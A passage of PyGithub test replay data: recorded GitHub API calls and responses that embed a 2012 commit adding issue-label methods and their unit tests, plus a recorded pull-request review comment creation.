self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206.4","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} https POST api.github.com None /repos/PyGithub/PyGithub/pulls/31/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "```suggestion\nComment created by PyGithub\n```", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 10, "start_line": 5, "path": "src/github/Issue.py"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] {"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"```suggestion\nComment created by PyGithub\n```","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testCreateMultilineReviewCommentChoosingSide.txt0000644000175100001660000005241214756101563032201 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; 